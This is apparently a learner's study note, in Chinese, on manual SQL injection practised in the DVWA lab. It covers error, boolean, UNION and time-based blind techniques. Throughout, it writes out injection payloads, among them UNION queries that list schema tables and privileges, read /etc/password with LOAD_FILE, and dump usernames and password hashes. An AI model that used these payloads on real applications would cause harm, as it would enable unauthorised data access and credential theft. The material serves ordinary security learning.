安全学习笔记day9-sql注入手工

一、注入流程

安全学习笔记day9-sql注入手工


安全学习笔记day9-sql注入手工


注入类型:

1、基于错误的注入(错误注入思路:构造特殊sql语句,获取报错信息,确认sql注入点) 典型使用 '

2、基于布尔的注入(布尔注入思路:闭合sql语句,构造or或者and逻辑语句注释多余代码) 典型使用 ' or 1=1 -- 或者 admin' and 1=1  --

例子1:  SELECT * FROM `sys_user` WHERE user_id =''OR 1=1 -- '';

安全学习笔记day9-sql注入手工


例子2:SELECT * FROM `sys_user` WHERE user_name ='admin ' AND 1=1 --'';


3、基于union注入(union语句用户联合前面的select语句,合并查询更多信息,一般通过错误/布尔寻找到注入点后通过union进行查询更多信息)

例子: select[colums]from[table] or union select x , y ,z ...

安全学习笔记day9-sql注入手工

4、基于时间的盲注

1、使用方法: dvwa中 sql注入页面中 安全学习笔记day9-sql注入手工

在表单中输入  1' or sleep(2) -- '

安全学习笔记day9-sql注入手工

sql语句原型:

SELECT user_name,user_id FROM `sys_user` WHERE user_name ='1' OR SLEEP(2) --'';

二、一般过程:

1、猜测数据列数 

安全学习笔记day9-sql注入手工

2、查询数据库

安全学习笔记day9-sql注入手工

实战: 

A、查询表名:'UNION SELECT 1,table_name from INFORMATION_SCHEMA.tables -- '    --找敏感表名信息

安全学习笔记day9-sql注入手工

B、查询数据库版本以及数据库名称:SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT VERSION(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';    --找库信息

安全学习笔记day9-sql注入手工

C、查询数据库:

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT USER(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';

安全学习笔记day9-sql注入手工

D、linux系统加载password信息

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT LOAD_FILE('/etc/password'),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';

渗透时转码为ASCAII HEX 

安全学习笔记day9-sql注入手工

3、查询数据表

安全学习笔记day9-sql注入手工

实战:

查询指定表的数据列:

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sys_user' -- '';

效果

安全学习笔记day9-sql注入手工

延伸:查询用户特权以及表特权

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='USER_PRIVILEGES' -- '';

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='SCHEMA_PRIVILEGES' -- '';

4、查询数据列

查询刚刚探测出来的用户数据表(直接可以查询密码,但是密码不是明文 将来怎么办,我是菜鸟还没想明白,继续学吧 mark

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT user_name,PASSWORD FROM sys_user -- '';

安全学习笔记day9-sql注入手工


5、总结:

安全学习笔记day9-sql注入手工